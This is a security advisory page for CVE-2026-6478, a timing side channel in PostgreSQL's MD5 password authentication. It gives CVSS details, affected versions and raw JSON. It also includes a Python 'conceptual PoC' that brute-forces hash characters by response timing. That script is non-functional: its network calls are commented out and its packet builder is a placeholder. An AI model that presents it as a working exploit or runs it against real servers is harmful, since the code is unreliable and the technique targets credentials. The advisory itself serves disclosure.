Security Vulnerability Report
中文
CVE-2026-6478 CVSS 6.5 MEDIUM

CVE-2026-6478

Published: 2026-05-14 14:16:25
Last Modified: 2026-05-14 16:21:23
Source: f86ef6dc-4d3a-42ad-8f28-e6d5547a5007

Description

Covert timing channel in comparison of MD5-hashed password in PostgreSQL authentication allows an attacker to recover user credentials sufficient to authenticate. This does not affect scram-sha-256 passwords, the default in all supported releases. However, current databases may have MD5-hashed passwords originating in upgrades from PostgreSQL 13 or earlier. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

PostgreSQL < 18.4
PostgreSQL < 17.10
PostgreSQL < 16.14
PostgreSQL < 15.18
PostgreSQL < 14.23

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import time # Conceptual PoC for timing attack analysis # This script simulates the logic to measure response times for different hash guesses. def measure_timing(host, port, payload): start_time = time.perf_counter() # In a real scenario, send a PostgreSQL authentication packet with the specific hash guess # sock = socket.create_connection((host, port)) # sock.send(payload) # response = sock.recv(1024) # sock.close() end_time = time.perf_counter() return end_time - start_time def attack_hash(host, port, username, known_prefix): # Iterate through possible characters (0-9, a-f) char_set = '0123456789abcdef' current_hash = known_prefix for _ in range(32): # MD5 hash length timings = {} for char in char_set: guess = current_hash + char # Construct payload based on PostgreSQL protocol payload = construct_postgres_auth_packet(username, guess) # Measure multiple times to reduce noise total_time = 0 for _ in range(10): total_time += measure_timing(host, port, payload) avg_time = total_time / 10 timings[guess] = avg_time # Select the character that resulted in the longest time (likely the correct one) next_char = max(timings, key=timings.get)[-1] current_hash += next_char print(f"Progress: {current_hash}") return current_hash def construct_postgres_auth_packet(username, pwd_hash): # Placeholder for actual protocol implementation return f"AUTH {username} {pwd_hash}".encode() # Note: Actual exploitation requires network access and noise reduction techniques.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6478", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2026-05-14T14:16:25.463", "lastModified": "2026-05-14T16:21:23.190", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Covert timing channel in comparison of MD5-hashed password in PostgreSQL authentication allows an attacker to recover user credentials sufficient to authenticate. This does not affect scram-sha-256 passwords, the default in all supported releases. However, current databases may have MD5-hashed passwords originating in upgrades from PostgreSQL 13 or earlier. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected."}], "metrics": {"cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-385"}]}], "references": [{"url": "https://www.postgresql.org/support/security/CVE-2026-6478/", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007"}]}}